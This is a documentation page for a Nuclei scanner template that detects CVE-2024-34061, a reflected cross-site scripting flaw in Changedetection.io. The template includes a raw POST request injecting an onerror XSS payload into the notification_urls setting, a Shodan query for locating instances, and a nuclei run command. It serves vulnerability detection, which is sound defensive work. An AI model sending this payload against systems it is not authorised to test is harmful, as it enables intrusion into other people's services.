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Changedetection.io <=v0.45.21 - Cross-Site Scripting

ID: CVE-2024-34061

Severity: medium

Author: ritikchaddha

Tags: cve,cve2024,changedetection,xss

Description

Section titled “Description”

Changedetection.io is a free open source web page change detection, website watcher, restock monitor and notification service. In affected versions Input in parameter notification_urls is not processed resulting in javascript execution in the application. A reflected XSS vulnerability happens when the user input from a URL or POST data is reflected on the page without being stored, thus allowing the attacker to inject malicious content. This issue has been addressed in version 0.45.22. Users are advised to upgrade. There are no known workarounds for this vulnerability.

YAML Source

Section titled “YAML Source”
id: CVE-2024-34061


info:
  name: Changedetection.io <=v0.45.21 - Cross-Site Scripting
  author: ritikchaddha
  severity: medium
  description: |
    Changedetection.io is a free open source web page change detection, website watcher, restock monitor and notification service. In affected versions Input in parameter notification_urls is not processed resulting in javascript execution in the application. A reflected XSS vulnerability happens when the user input from a URL or POST data is reflected on the page without being stored, thus allowing the attacker to inject malicious content. This issue has been addressed in version 0.45.22. Users are advised to upgrade. There are no known workarounds for this vulnerability.
  reference:
    - https://github.com/dgtlmoon/changedetection.io/security/advisories/GHSA-pwgc-w4x9-gw67
    - https://nvd.nist.gov/vuln/detail/CVE-2024-34061
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N
    cvss-score: 4.3
    cve-id: CVE-2024-34061
    cwe-id: CWE-79
  metadata:
    verified: true
    max-request: 2
    shodan-query: html:"Change Detection"
  tags: cve,cve2024,changedetection,xss


http:
  - raw:
      - |
        GET / HTTP/1.1
        Host: {{Hostname}}


      - |
        POST /settings HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded


        csrf_token={{csrf_token}}&requests-time_between_check-weeks=&requests-time_between_check-days=&requests-time_between_check-hours=3&requests-time_between_check-minutes=&requests-time_between_check-seconds=&requests-jitter_seconds=0&application-filter_failure_notification_threshold_attempts=6&application-password=&application-base_url=&application-notification_urls=%22%3E%3Cimg+src%3Dx+onerror%3Dalert%28document.domain%29%3E&application-notification_title=ChangeDetection.io+Notification+-+%7B%7Bwatch_url%7D%7D&application-notification_body=%7B%7Bwatch_url%7D%7D+had+a+change.%0D%0A---%0D%0A%7B%7Bdiff%7D%7D%0D%0A---%0D%0A&application-notification_format=Text&application-fetch_backend=html_requests&application-webdriver_delay=&application-ignore_whitespace=y&application-global_subtractive_selectors=&application-global_ignore_text=&application-api_access_token_enabled=y&requests-extra_proxies-0-proxy_name=&requests-extra_proxies-0-proxy_url=&requests-extra_proxies-1-proxy_name=&requests-extra_proxies-1-proxy_url=&requests-extra_proxies-2-proxy_name=&requests-extra_proxies-2-proxy_url=&requests-extra_proxies-3-proxy_name=&requests-extra_proxies-3-proxy_url=&requests-extra_proxies-4-proxy_name=&requests-extra_proxies-4-proxy_url=&save_button=Save


    skip-variables-check: true
    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '<img src=x onerror=alert(document.domain)>'
          - 'is not a valid AppRise URL'
        condition: and


      - type: word
        part: header
        words:
          - 'text/html'


      - type: status
        status:
          - 200


    extractors:
      - type: regex
        part: body
        name: csrf_token
        group: 1
        regex:
          - 'name="csrf_token" value="([^"]+)"'
        internal: true
# digest: 4a0a004730450221009a3bce549dadcfca9fca916a9574a594ee7f67c10af11b9df022aaf64f103e3c022012e8d6a3ee15df29938b03acbe017efdb7eef976cdf682f30637ef0f7b85a1e9:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

Section titled “Guide to check the vulnerabilities”

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

Terminal window
$ nuclei -u "URL" -t "http/cves/2024/CVE-2024-34061.yaml"

View on Github